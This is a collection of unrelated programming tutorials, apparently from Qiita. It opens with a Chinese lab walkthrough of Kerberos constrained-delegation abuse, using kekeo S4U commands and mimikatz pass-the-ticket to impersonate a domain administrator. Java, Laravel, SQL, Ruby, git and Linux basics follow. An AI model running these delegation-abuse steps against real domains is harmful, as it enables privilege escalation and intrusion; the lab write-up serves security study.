具体过程是收到用户的请求之后，首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF)，拿着这个票据向KDC请求访问特定服务的**可转发的TGS**(S4U2PROXY)，并且代表用户访问特定服务，而且只能访问该特定服务。


来看下实际的利用
# 利用
先配置约束委派环境。新建一个sql用户，并且加上spn表示其为服务用户。

```
setspn -A MSSQLSvc/DM.test.local:1433 sql
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c06ef696-b59d-db86-23cf-e9d90778fef3.png)

加上spn之后委派的选项卡才会出现，因为只有服务账户和计算机账户才可以被委派。

在这里配置上dc的cifs可以被sql用户所委派。需要注意的是**使用任何身份验证协议**。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/22a2c77b-cbcc-a1ea-7213-41a77141c69c.png)

查找约束委派的用户

```
AdFind.exe -b dc=test,dc=local -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c912960d-1b4f-fac5-7e6c-8d9f8b611739.png)

查找约束委派的主机

```
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
```

约束委派需要知道sql服务账户的密码或hash，此时在DM机器中使用kekeo申请tgt。

```
tgt::ask /user:sql /domain:test.local /password:test123!@#
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/7434440a-4b87-4cb2-6a3a-a2082cd77753.png)

使用该tgt通过s4u伪造`administrator@test.local`去访问dc的cifs服务。

```
tgs::s4u /tgt:TGT_sql@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi /user:administrator /service:cifs/dc.test.local
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ae9b48a5-09d1-902f-fe93-25033723971d.png)

生成了两个tgs

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b634e62c-53b8-4950-98dc-500bb1f15cd8.png)

通过mimikatz使用cifs的tgs票据进行ptt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c4b89d80-3e74-9e3a-162a-8b4f97deddd4.png)

实战中的利用需要知道配置了委派用户的密码或hash。

# 参考
1. https://xz.aliyun.com/t/7217
2. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
3. https://daiker.gitbook.io/windows-protocol/kerberos/2
【Java】カプセル化

# カプセル化
## カプセル化とは

オブジェクト指向の重要な機能の１つで、 

- **大切なデータが他の人が操作した時変わってしまわないように**
- **クレジットカードの情報が外にもれないように**
- **ネットで勝手に買物をされないように**

そのためには、外部からそれら「見られたくない」、「変更されたくない」情報に対しては**外部からのアクセスを制限する**必要があります。
つまり、

- **「オブジェクトの情報が外部に公開しないようにすること」**
- **「使い手に必要ないものを隠してしまうこと」**
- **作成したクラスに対する アクセス方法を限定すること**

それが**カプセル化**です！

### カプセル化の必要性
上記のような、作成したクラスのデータ（[フィールド変数]）や処理（メソッド）を他のクラスから隠蔽するには、情報を **[アクセス修飾子] の private** でクラスの外部から変更できないように設定する必要があります。

また、「カプセル化」することによって、作成したクラスが何をしてくれるクラスなのかが 明確 になり、**他のクラスから使用しやすくなります。**



### カプセル化の仕方
結論、カプセル化のやり方は、、

- **[フィールド変数]** の[アクセス修飾子]を **private** にする
- **メソッド** のアクセス修飾子を **public** にする

そのようにすれば大概はカプセル化になっています。

よほどの理由がない限りは**[フィールド変数](メンバ変数) はすべて private に設定しましょう。**

[インスタンス化]:https://qiita.com/takahirocook/items/ec01cdcbb440cf0d1cc4
[アクセス修飾子]:https://qiita.com/takahirocook/items/e51b0b9d37d95ad587fe
[フィールド変数]:https://qiita.com/takahirocook/items/
[new演算子]:https://qiita.com/takahirocook/items/00f9f97592bf50831d39
Scratchで湯婆婆をイラストつきで実装してみる

# はじめに

湯婆婆が流行っているので、Scratchで実装してみました。
Scratchは絵が描けるので、よりリアルに再現できた気がします。

# 完成形
![GIF.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/901447/5cf9db00-f605-3019-7583-eed1ce3b97d0.gif)

# 作り方

イラスト作成過程動画をyoutubeにアップロードしています。
[![IMAGE ALT TEXT HERE](http://img.youtube.com/vi/E-Q6tMSrlO4/0.jpg)](http://www.youtube.com/watch?v=E-Q6tMSrlO4)

コードはこちら。
![code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/901447/a82c6828-f093-8af1-cbc1-e2aa1ee31ce9.png)

Scratchの[プロジェクトページ](https://scratch.mit.edu/projects/453270910)

# 参考にさせていただいた記事

[[ネタ] 湯婆婆 言語まとめ](https://qiita.com/sengoku/items/9dba838d94d5120f8a73)
[【毎日自動更新】湯婆婆 LGTMランキング！](https://qiita.com/torifukukaiou/items/c8361231cdc56e493245#%E3%82%BF%E3%82%B0%E5%88%A5%E3%81%BE%E3%81%A8%E3%82%81%E8%A9%A6%E9%A8%93%E7%9A%84)
[なぜScratchで最も短い?湯婆婆が作れるのか](https://qiita.com/apple502j/items/ae1beef732301295854f)
[Scratchで湯婆婆を実装してみる](https://qiita.com/Marcelo0125/items/f279b1138a46ee10816f)
Laravelでとあるディレクトリのファイル一覧を取得したい人へ

世にはいろいろなQiita記事があり，Laravelの記事も様々...かと思いきや，Laravelの記事って結構少なくないですか？

タイトルの通り，この記事はLaravelでほかのファイルの名前を取得したい人への僕のささやかな気持ちです．
一方的に投げつけておくのでどうぞ受け取ってください．

#やり方

1. `〇〇_path('パス\*')`で，ファイル一覧を取得したいディレクトリのフルパスを取得．
2. `glob(取得したフルパス)`で，ディレクトリ内のファイルのパスを配列として取得．

#### ステップ1. `〇〇_path('パス\*')`で，ファイル一覧を取得したいディレクトリのフルパスを取得．
`〇〇_path()`というヘルパ関数を使います．
この関数は，相対パスを指定したフォルダやファイルのフルパスを取得することができる関数です．
これには以下の種類があり，それぞれの〇〇の部分が，パスを取得できる場所（resourcesやpublicなど）に対応しています．

* app_path()
* base_path()
* config_path()
* database_path()
* mix_path()
* public_path()
* resource_path()
* storage_path()

参照：[Helpers - Laravel - The PHP Framework For Web Artisans](https://laravel.com/docs/8.x/helpers#method-resource-path)

使用例は次の通りです．

```php:hogehogeController.php
// resourceディレクトリ内のviews/folder1のフルパスを取得
$path = resource_path('views/folder1'); //出力例（ローカルの場合）->C:\Users\（途中のディレクトリ）\resources\views\file1

// publicディレクトリ内のcss/app.cssのフルパスを取得
$path = public_path('css/app.css'); //出力例（サーバーの場合）->/home/users/（途中のディレクトリ）/public/css/app.css

```

注意：パスの指定にバックスラッシュ`\`を使うと，Windowsではうまくいきましたがサーバー（Linux）ではパスを取得できませんでした．なので，スラッシュ`/`で指定しましょう！

#### ステップ2．`glob(取得したフルパス)`で，ディレクトリ内のファイルのパスを配列として取得．
`〇〇_path()`で相対パスをフルパスにしたら，次は`glob()`の出番です．
`glob()`は，一定のパターン（詳しくは後述）にマッチするパスを探すことができる関数です．

参照：[PHPのglobメソッドの使い方を現役エンジニアが解説【初心者向け】 | TechAcademyマガジン](https://techacademy.jp/magazine/21885)

使用例は次の通り

```php:hogehogeController.php
// resources/views/folder1内のすべてのファイル(file1.txt, file2.blade.php)を取得
$path = resource_path('views/folder1/*.*');
$files = glob($path);

//出力例
// -> /home/users/(途中のディレクトリ)/resources/views/folder1/file1.txt
// -> /home/users/(途中のディレクトリ)/resources/views/folder1/file2.blade.php

```

上記の例では，すべてのファイルを取得するように，`resource_path()`に指定するパスの最後にパターンの指定`/*.*`をつけています．
これを例えば`/*`にすればすべてのファイルとディレクトリ，`/*.blade.php`にすれば全てのブレードファイルを取得できます．

これでとあるディレクトリのファイル一覧を配列として取得できました！
あとは適宜，正規表現で使いたいところを切り出しましょう...！
GoogleColaboratory 上でYOLOv5実行

# 準備
```ipynb:YOLOv5.ipynb
!git clone https://github.com/ultralytics/yolov5
!pip install -r yolov5/requirements.txt
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/680528/073ff944-b31f-98c4-c78b-ff3a025b1946.png)

```ipynb:YOLOv5.ipynb
import os
path='/content/yolov5'

#作業ディレクトリに移動する
os.chdir(path)

!ls
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/680528/92845510-b6f9-e4df-cdf3-186679545bc3.png)


# 実行
```ipynb:YOLOv5.ipynb
!python detect.py --source /content/yolov5/data/images/zidane.jpg
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/680528/ef2c9588-3cc2-2632-6e6c-20d6e57d8ccd.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/680528/d58c9c94-d343-de82-b832-34b957a51f51.png)
【JavaScript】モーダルウィンドウ実装

学習内容を備忘録としてまとめます。
モーダルウィンドウを実装しましたので、作成方法を記載します。
![anime3.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/597913/d52f4a4e-4429-f180-ed51-5b06b63fb8fb.gif)

上記のように投稿などをモーダルウィンドウを使用して操作することができます。

#実装方法
実装方法について記載していきます。

##投稿ボタン作成
ボタンクリック時にモーダルウィンドウを出力させるため、
投稿ボタンを作成します。

```html:header.php
    <ul>
    <li><a href="../user/user_list.php?type=all">ユーザー一覧</a></li>
    <li><a href="../post/post_index.php">投稿一覧</a></li>
    <li><a class="post_window" href="#">投稿</a></li>
    <li><a href="../message/message_top.php">メッセージ</a></li>
：
：
    </ul>
```
ヘッダーに`投稿ボタン`を追加します。
この`post_window`をクリックしたときにJavaScriptの処理が開始されるようにします。

##JavaScriptでモーダルウィンドウ出力
先ほどの投稿ボタンがクリックされたときに、モーダルウィンドウを出力するよう実装します。

```js:user_page.js
$(document).on('click', '.post_window', function() {
    //背景をスクロールできないように　&　スクロール場所を維持
    scroll_position = $(window).scrollTop();
    $('body').addClass('fixed').css({ 'top': -scroll_position });
    // モーダルウィンドウを開く
    $('.post_process').fadeIn();
    $('.modal').fadeIn();
});
```
`post_window`をクリックしたときに処理が走るようになっています。

```js
    scroll_position = $(window).scrollTop();
    $('body').addClass('fixed').css({ 'top': -scroll_position });
```
モーダルウィンドウが出力された際に背景の画面をスクロールしないようにしています。
画面のスクロール位置を取得して、そこで位置を固定しています。

```js
    $('.post_process').fadeIn();
    $('.modal').fadeIn();
```
こちらでモーダルウィンドウを出力しています。
元のモーダルウィンドウがないので作成していきます。
##モーダルウィンドウ作成

```html:post_process.php
<div class="modal"></div>
<div class="post_process">
  <h2 class="post_title">投稿</h2>
  <form method="post" action="../post/post_add_done.php" enctype="multipart/form-data">
  <textarea class="textarea form-control" placeholder="投稿内容を入力ください" name="text"></textarea>
  <div class="post_btn">
  <button class="btn btn-outline-danger" type="submit" name="post" value="post" id="post">投稿</button>
  <button class="btn btn-outline-primary modal_close" type="button">キャンセル</button>
  </div>
  </form>
</div>
```
投稿ボタンをクリックすると`post_add_done.php`に処理が遷移するようになっています。
`post_add_done.php`はSQL文で`postテーブル`に`INSERT`するようになっています。
※上記のコードは説明上不要な部分を省略しているので、トップの動作画面とは違いがあります。

```html
<div class="modal"></div>
```
こちらの1行は後ほど説明しますが、モーダルウィンドウが出力された際に背景を灰色にする役割を担っています。
ではこちらのモーダルウィンドウをレイアウトしていきます。

##モーダルウィンドウのレイアウト

```css:style.css
.post_process {
    display: none;
    position: fixed;
    z-index: 15;
    top: 30%;
    left: 50%;
    width: 600px;
    padding: 10px;
    background-color: #121212;
    border-radius: 8px;
    -webkit-transform: translate(-50%, -10%);
    transform: translate(-50%, -10%);
    color: #fff;
    font-size: 1.3rem;
    border: 0.3rem solid #fff;
}
```
表示する位置、背景色などを決めています。
`z-index: 15;`で重なりの順序を高くており、
`display: none;`で普段は表示させないようにさせ、`JavaScript`の処理で出力させるようにしています。

先ほど触れた、モーダルウィンドウ出力時の背景についてもレイアウトしていきます。

```css
.modal {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    background-color: rgba(152, 152, 152, 0.7);
    width: 100%;
    height: 100%;
    z-index: 10;
}
```
こちらも位置(画面全体)、背景色を決めています。
`z-index: 10;`にすることで重なり順序がモーダルウィンドウよりも低く設定しています。

上記を一通り実装すれば、トップの動作画面のように動くと思います。

#参考URL
https://github.com/nyann123/snspoi
【Java】new演算子

# new演算子
new演算子は、Javaのクラスを **[インスタンス化]** するために利用されます。
**new演算子に続けて、クラスのコンストラクタを呼び出して実行するコードを記述すると、クラスのインスタンスが生成されます。**

## new演算子の使い方は以下のとおりです。
**コンストラクタはクラスと同じ名前を付ける決まり**になっています。
なので、**実際には以下のように書いてください。**

```
//クラス名とコンストラクタ名は同じにしましょう！

クラス名 変数名 = new コンストラクタ名();
```

システム開発の現場では、[インスタンス化] することを「newする」とか言ったりするみたいです。

[インスタンス化]:https://qiita.com/takahirocook/items/ec01cdcbb440cf0d1cc4
[アクセス修飾子]:https://qiita.com/takahirocook/items/e51b0b9d37d95ad587fe
[フィールド変数]:https://qiita.com/takahirocook/items/28df75a133049a74ece1
Jetpack ComposeのコードをGoogle Chromeブラウザから検索できるようにする

<blockquote class="twitter-tweet" data-lang="en" data-dnt="true" data-theme="dark"><p lang="en" dir="ltr">You can setup a chrome search engine to quickly browse compose source code.<br><br>3rd link is: <a href="https://t.co/PPwFuZmre7">https://t.co/PPwFuZmre7</a><br><br>Then type &quot;c&quot; + space in chrome to search everything in the androidx compose project.<br><br>Thanks to <a href="https://twitter.com/crafty?ref_src=twsrc%5Etfw">@crafty</a> for the idea. <a href="https://t.co/4aUd9WW483">pic.twitter.com/4aUd9WW483</a></p>&mdash; Alex Lockwood (@alexjlockwood) <a href="https://twitter.com/alexjlockwood/status/1330572812818386944?ref_src=twsrc%5Etfw">November 22, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

Twitterで上記のような発言が流れてきたので、自分もやってみようとおもいました。ちょっと最初戸惑ったのでメモがてら共有させていただきます。

## 手順
手順１. Google Chromeを立ち上げてURL/検索ワード入力エリア部分に`chrome://settings/searchEngines`と打ち込む。
![スクリーンショット 2020-11-23 12.15.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4493/bd5bf147-fbc7-3bf2-2f4d-d63e641385b3.png)

手順2. `検索エンジンの管理`という画面が出てくるので、そこにある"追加"ボタンを押す。
![スクリーンショット 2020-11-23 12.14.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4493/137def22-7e87-c58a-1147-915f6cbfe2d6.png)

手順3. 以下のような画面が出てくるので、それぞれ埋めていく。
![スクリーンショット 2020-11-23 11.50.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4493/a67eb419-7464-6101-e506-903145e10570.png)
    - `検索エンジン`は表示される名前。（今回はComposeに)
    - `キーワード`はChromeのてURL/検索ワード入力エリア部分に先頭に入力する検索エンジン指定用のキーワド。(今回は`c`に)
    - `URL`の部分に以下のURLを打ち込む。
    
```text
https://cs.android.com/search?q=%s%20lang:kotlin&sq=&ss=androidx%2Fplatform%2Fframeworks%2Fsupport:compose%2F
```
（※パッケージの配置が変わる可能性があるので、検索できなくなった場合は都度確認して、`https://cs.android.com/search?q=%s%20`の後に入れる語句を適宜変更が必要）

打ち込んだらこんな感じ（下の画像）
![スクリーンショット 2020-11-23 12.19.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4493/ac6583dd-7da6-37e9-e4cc-ff721ebc1b70.png)



手順4. `追加`ボタンを押下して検索エンジンの追加をしたら設定は終わり。（ねんのため、検索エンジンの管理の画面でComposeと打ち込んで出てくるか確認）
![スクリーンショット 2020-11-23 12.18.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4493/ea83dc70-a2c0-b346-c563-560622f9005e.png)

手順５. ChromeのてURL/検索ワード入力エリア部分にて先ほど手順3で指定した`キーワード`である`c`を入力してスペースを打ち込む。すると以下のよう`Compose を検索`と表示される。
![スクリーンショット 2020-11-23 12.01.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4493/abacfa67-9378-18e1-6002-2850e2296b7c.png)
手順６. 試しに`Providers`を検索してみると以下のような検索結果が表示されたら成功
![スクリーンショット 2020-11-23 12.11.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4493/26aec67b-b351-5e96-14a3-f1bc68cf064f.png)


以上です。
エンジョイしていきましょう！
【Java】フィールド変数

## 【フィールド】フィールド変数
フィールドまたは フィールド変数 とは、クラス内の 変数 のことです。
先程のコードのここの部分です。

```java
//クラス
public class HelloWorld {
    // フィールド ここの部分
    private String printHello;
    // コンストラクタ
    public HelloWorld() {
```
###フィールドの書き方

- フィールドを宣言するとき、**「 public 」**や**「 private 」**などの **アクセス修飾子** を記述します。
- **アクセス修飾子を省略することが可能**
- **初期化を省略することが可能。**（その場合は、デフォルト値が入ります。）

フィールドとして宣言した変数は、**コンストラクタやメソッド内で変数を宣言することなく、そのクラス内であればどこからでも値を参照したり更新したりすることができます。**

[インスタンス化]:https://qiita.com/takahirocook/items/ec01cdcbb440cf0d1cc4

[アクセス修飾子]:https://qiita.com/takahirocook/items/e51b0b9d37d95ad587fe
Rubyでカウントアップ/ダウンするメソッド

# はじめに
学習用のメモになります
#メソッド

##timesメソッド（一定回数やる場合の ）
x回繰り返すというときにつかえるもの、indexに入るのは0から

```
5.times { |n| p n }
# 0
# 1
# 2
# 3
# 4
```

## uptoメソッド（指定した整数値から1ずつカウントアップする ）
決まった数から1ずつ挙げていきたい場合に使うupto

```
5.upto(7) { |n| p n }
# 5
# 6
# 7
```
なお、数が既に満たされている場合は何も実行されない

```
5.upto(4) { |n| p n }
# ブロック内のものは実行されない
```

## downtoメソッド(指定した整数値から1ずつカウントダウンする )
決まった数から1ずつ挙げていきたい場合に使う downto。uptoの逆。

```
10.downto(7) { |n| p n }
10
9
8
7
```

## stepメソッド(指定した数値から増加源させたい場合につかう )
細かく値を調整したいときに使える step 。incrementalする値も選べる。

```
5.step(6,0.5) { |n| p n }
# 5.0
# 5.5
# 6.0
```
小数値なども設定できるので、ループで取得できる値には気をつけること

```
# 0.3刻みなので、最後が4になるわけではない
5.step(4,-0.3) { |n| p n }
# 5.0
# 4.7
# 4.4
# 4.1
```
相関サブクエリで宿泊期間の重複を抽出する

以下のデータがある。

````sql
select * from reservations;

+----------+------------+------------+
| reserver | start_date | end_date   |
+----------+------------+------------+
| 内田     | 2006-11-03 | 2006-11-05 |
| 堀       | 2006-10-31 | 2006-11-01 |
| 山本     | 2006-11-03 | 2006-11-04 |
| 木村     | 2006-10-26 | 2006-10-27 |
| 水谷     | 2006-11-06 | 2006-11-06 |
| 荒木     | 2006-10-28 | 2006-10-31 |
+----------+------------+------------+

````

宿泊期間が重複しているレコードを抽出する。

````sql
select
*
from
reservations r1
where
exists (
    select
    'X'
    from
    reservations r2
    where
    r1.reserver <> r2.reserver
    and (r1.start_date between r2.start_date and r2.end_date -- 開始日が他の期間内にある
        or r1.end_date between r2.start_date and r2.end_date -- 終了日が他の期間内にある
    )
    and (r2.start_date between r1.start_date and r1.end_date -- 開始日が他の期間内にある
        or r2.end_date between r1.start_date and r1.end_date -- 終了日が他の期間内にある
    )
)

+----------+------------+------------+
| reserver | start_date | end_date   |
+----------+------------+------------+
| 内田     | 2006-11-03 | 2006-11-05 |
| 堀       | 2006-10-31 | 2006-11-01 |
| 山本     | 2006-11-03 | 2006-11-04 |
| 荒木     | 2006-10-28 | 2006-10-31 |
+----------+------------+------------+

````
こちらを参考にさせていただきました。
<a href="https://www.amazon.co.jp/%E9%81%94%E4%BA%BA%E3%81%AB%E5%AD%A6%E3%81%B6SQL%E5%BE%B9%E5%BA%95%E6%8C%87%E5%8D%97%E6%9B%B8-%E7%AC%AC2%E7%89%88-%E5%88%9D%E7%B4%9A%E8%80%85%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%8A%E3%81%9F%E3%81%8F%E3%81%AA%E3%81%84%E3%81%82%E3%81%AA%E3%81%9F%E3%81%B8-%E3%83%9F%E3%83%83%E3%82%AF-ebook/dp/B07GB4CNKP/ref=sr_1_1?adgrpid=48836428930&dchild=1&gclid=Cj0KCQiA48j9BRC-ARIsAMQu3WSrZJJd4-psCT9_qj0w4f0_fuN9b3Rh3DD8mwgP9UkTOLLapCJzwJwaAsG_EALw_wcB&hvadid=338547693256&hvdev=c&hvlocphy=1009306&hvnetw=g&hvqmt=e&hvrand=10462958271481352436&hvtargid=kwd-335112034228&hydadcr=4076_10899478&jp-ad-ap=0&keywords=%E9%81%94%E4%BA%BA%E3%81%AB%E5%AD%A6%E3%81%B6sql%E5%BE%B9%E5%BA%95%E6%8C%87%E5%8D%97%E6%9B%B8&qid=1605532234&sr=8-1&tag=googhydr-22">達人に学ぶSQL徹底指南書 第2版 初級者で終わりたくないあなたへ
</a>
リモートリポジトリのURLを変更したい

githubで良さげなソースコードをcloneしてみて、自分のgithubで管理したいというときはリモートリポジトリのURLを変更する必要があります。

そんなときに読むめも

# リモートリポジトリのURLの確認
```git
git remote -v
```

こんな感じでリモートリポジトリのURLが見れます。

```git
origin  git@github.com:USERNAME/REPOSITORY.git (fetch)
origin  git@github.com:USERNAME/REPOSITORY.git (push)
```

# リモートリポジトリのURL変更
```git
git remote set-url origin https://github.com/USERNAME/REPOSITORY.git
```

githubでリポジトリ作れば、git remote set-url origin以降のURLはコピペで取得できるので、それを貼り付ければおわり

最後に冒頭のコマンドでリモートリポジトリのURLが変わっていることが確認できればOKです

# 参考文献
https://docs.github.com/ja/free-pro-team@latest/github/using-git/changing-a-remotes-url
【Java】インスタンス化

# クラスのインスタンス化

クラス という 「型」 から 「具体的な実体」 に生成されたものを **インスタンス** と呼びます。
そして、それらの一連の流れを **インスタンス化** とよびます。

システム開発の現場では、インスタンスを生成することを「newする」とか言ったりするみたいです。

## インスタンス化の書き方


```
//コンストラクタ名とクラス名は同じにすること！

  1            2               3        4
クラス名 インスタンス名(変数名) = new コンストラクタ名()
```

1. クラス名
2. インスタンス名（変数名）
3. 「=」で結んで、new演算子
4. コンストラクタ名

の順で記述します。

```
Calulator calc = new Calulator;
```

上記のインスタンスを生成した例ですが、最初のクラス名「Calulator」と
最後のコンストラクタ名「Calulator()」が 同じ です。
コンストラクタの説明にもあるように、
コンストラクタ名＝クラス名 であるためです。

インスタンスを生成するクラスのコンストラクタの作り方によって左右されますが、**インスタンスを生成するクラスのコンストラクタによっては引数の値を与えてインスタンスを生成しなければなりません。**

```
クラス名 インスタンス名(変数名) = new コンストラクタ名(引数の値)
```

## サンプルコード2
まずこちらが、「データ」や「処理」を書いた **クラス側のコード** です。
最初に言った「クラスのプログラミング」に当たる部分です。

```java
//クラス
public class HelloWorld {
    // フィールド
    private String printHello;

    // コンストラクタ
    public HelloWorld() {
        printHello = "Hello World";
    }

    // メソッド
    public void print() {
        System.out.println(printHello);
    }
}
```
下記がクラスの呼び出し側の**「プログラムを実行するためのクラス」**のコードです。
このままではまだ型の状態なので、こちらでプログラムを実行できる状態、つまり **インスタンス化** します。

```java
//プログラムを実行するためのクラス（mainメソッドを持つクラス）
public class Main {
    // mainメソッド
    public static void main(String[] args) {
        // HelloJavaクラスのインスタンスを生成して、HelloJavaクラス型の変数printHelloWorldに保持する
        HelloWorld printHelloWorld = new HelloWorld();
        // 生成したインスタンスより、HelloWorldクラスのprintメソッドを呼び出す
        printHelloWorld.print();
    }
}
```

実行結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/613675/1327e806-3c89-6d2b-e320-950127ac5c55.png)
【Java】アクセス修飾子

# アクセス修飾子
## 修飾子とは 
**変数名、関数名の前に付与する単語** のこと。

## アクセス修飾子とは
**「クラスや変数がどこからアクセス可能であるか」 **の公開範囲 を決定するための修飾子です。

## アクセス修飾子の種類
こちらがアクセス修飾子種類と内容です。
以下の表では**下に行くほどアクセスの条件が厳しくなっていきます。**

| アクセス修飾子 | 内容                                                   | 
| -------------- | ------------------------------------------------------ | 
| public         | すべてのクラスからアクセスできる                       | 
| protected      | 現在のクラスとサブクラスからアクセスできる             | 
| なし           | 現在のクラスと同じパッケージのクラスからアクセスできる | 
| private        | 現在のクラスからだけアクセスできる                     |
入出金を記録するテーブルから累計を求める

以下のようなテーブルがある

````sql
select * from accounts;

+------------+---------+
| prc_date   | prc_amt |
+------------+---------+
| 2006-10-26 |   12000 |
| 2006-10-28 |    2500 |
| 2006-10-31 |  -15000 |
| 2006-11-03 |   34000 |
| 2006-11-04 |   -5000 |
| 2006-11-06 |    7200 |
| 2006-11-11 |   11000 |
+------------+---------+
````

各処理日の累計和を求める

````sql
select
prc_date
,prc_amt
,(
    select
    sum(prc_amt)
    from
    accounts a2
    where
    a1.prc_date >= a2.prc_date
) onhand_amt
from
accounts a1

+------------+---------+------------+
| prc_date   | prc_amt | onhand_amt |
+------------+---------+------------+
| 2006-10-26 |   12000 |      12000 |
| 2006-10-28 |    2500 |      14500 |
| 2006-10-31 |  -15000 |       -500 |
| 2006-11-03 |   34000 |      33500 |
| 2006-11-04 |   -5000 |      28500 |
| 2006-11-06 |    7200 |      35700 |
| 2006-11-11 |   11000 |      46700 |
+------------+---------+------------+

````

次は処理3回単位の累計を求める

````sql
select
prc_date
,a1.prc_amt
,(
    select
    sum(prc_amt)
    from
    accounts a2
    where
    a1.prc_date >= a2.prc_date
    and (
        select
        count(*)
        from
        accounts a3
        where
        a3.prc_date between a2.prc_date and a1.prc_date
        )<=3
    ) mvg_sum
from accounts a1

+------------+---------+---------+
| prc_date   | prc_amt | mvg_sum |
+------------+---------+---------+
| 2006-10-26 |   12000 |   12000 |
| 2006-10-28 |    2500 |   14500 |
| 2006-10-31 |  -15000 |    -500 |
| 2006-11-03 |   34000 |   21500 |
| 2006-11-04 |   -5000 |   14000 |
| 2006-11-06 |    7200 |   36200 |
| 2006-11-11 |   11000 |   13200 |
+------------+---------+---------+
````

こちらを参考にさせていただきました。
<a href="https://www.amazon.co.jp/%E9%81%94%E4%BA%BA%E3%81%AB%E5%AD%A6%E3%81%B6SQL%E5%BE%B9%E5%BA%95%E6%8C%87%E5%8D%97%E6%9B%B8-%E7%AC%AC2%E7%89%88-%E5%88%9D%E7%B4%9A%E8%80%85%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%8A%E3%81%9F%E3%81%8F%E3%81%AA%E3%81%84%E3%81%82%E3%81%AA%E3%81%9F%E3%81%B8-%E3%83%9F%E3%83%83%E3%82%AF-ebook/dp/B07GB4CNKP/ref=sr_1_1?adgrpid=48836428930&dchild=1&gclid=Cj0KCQiA48j9BRC-ARIsAMQu3WSrZJJd4-psCT9_qj0w4f0_fuN9b3Rh3DD8mwgP9UkTOLLapCJzwJwaAsG_EALw_wcB&hvadid=338547693256&hvdev=c&hvlocphy=1009306&hvnetw=g&hvqmt=e&hvrand=10462958271481352436&hvtargid=kwd-335112034228&hydadcr=4076_10899478&jp-ad-ap=0&keywords=%E9%81%94%E4%BA%BA%E3%81%AB%E5%AD%A6%E3%81%B6sql%E5%BE%B9%E5%BA%95%E6%8C%87%E5%8D%97%E6%9B%B8&qid=1605532234&sr=8-1&tag=googhydr-22">達人に学ぶSQL徹底指南書 第2版 初級者で終わりたくないあなたへ
</a>
Linuxの超入門

# 概要

ここでは、Linuxの基本的な知識とコマンドを復習がてら書き留めておきます。

### カーネルとは

CPUやメモリ、キーボード、ディスクといったハードウェアとコミュニケーションを取ることが出来る唯一のソフトウェア。

### シェルとは

カーネルに直接つながっているチャットインターフェースのようなもの。
シェル言語を通して、カーネルでコマンドを実行出来る。
ざっくりいうとこんな感じだ。
`人間 <=> シェル <=> カーネル`

シェル言語の種類は、`sh` `tcsh` `bash` `zsh`などがある。

### STDINとSTDOUT

LINUX環境でSTDINはインプット、STDOUTはアウトプットを制御するための装置です。
この装置をターミナルにつなげることで、キーボードを使って入力や出力を使うことが出来るようになる。

このように、インプット・アウトプットをつなげるようにすることを`ttyをアタッチする`という。

### シェルコマンド（基礎）

- ディレクトリー操作系

```bash
# ディレクトリ情報の表示(list)
ls [dir]
# ディレクトリの移動(change dir)
cd [dir]
# 現在のディレクトリを表示(print working dir)
pwd
# ディレクトリの作成(make dir)
mkdir [folder name]
```
- ファイル操作系

```bash
# ファイルの作成
touch
# ファイルに付け足し
echo >> [file name]
# ファイルのコンテンツ表示(concatenate)
cat test_file
```

- タスクマネージャー系

```bash
# プロセスの表示(process status)
ps
# プロセスをバックグラウンドで起動(&)
sleep 60 &
# プロセスをフォアグラウンドに戻す(foreground)
fg
```

- ヘルプ系

```bash
# コマンドのヘルプ(help) 
ps --help
# コマンドの保存先を表示(whitch)
whitch ps
# コマンドのマニュアルを表示(manual)
man ps
```

- サーチ系

```bash
# ファイルやフォルダーを探す(find)
find / -type d -name test
# 文字を検索
grep "aaa" test.txt -n

# フォルダー名を探し、その中のファイルを文字検索
find / -type d -name test | xargs grep -r aaa
```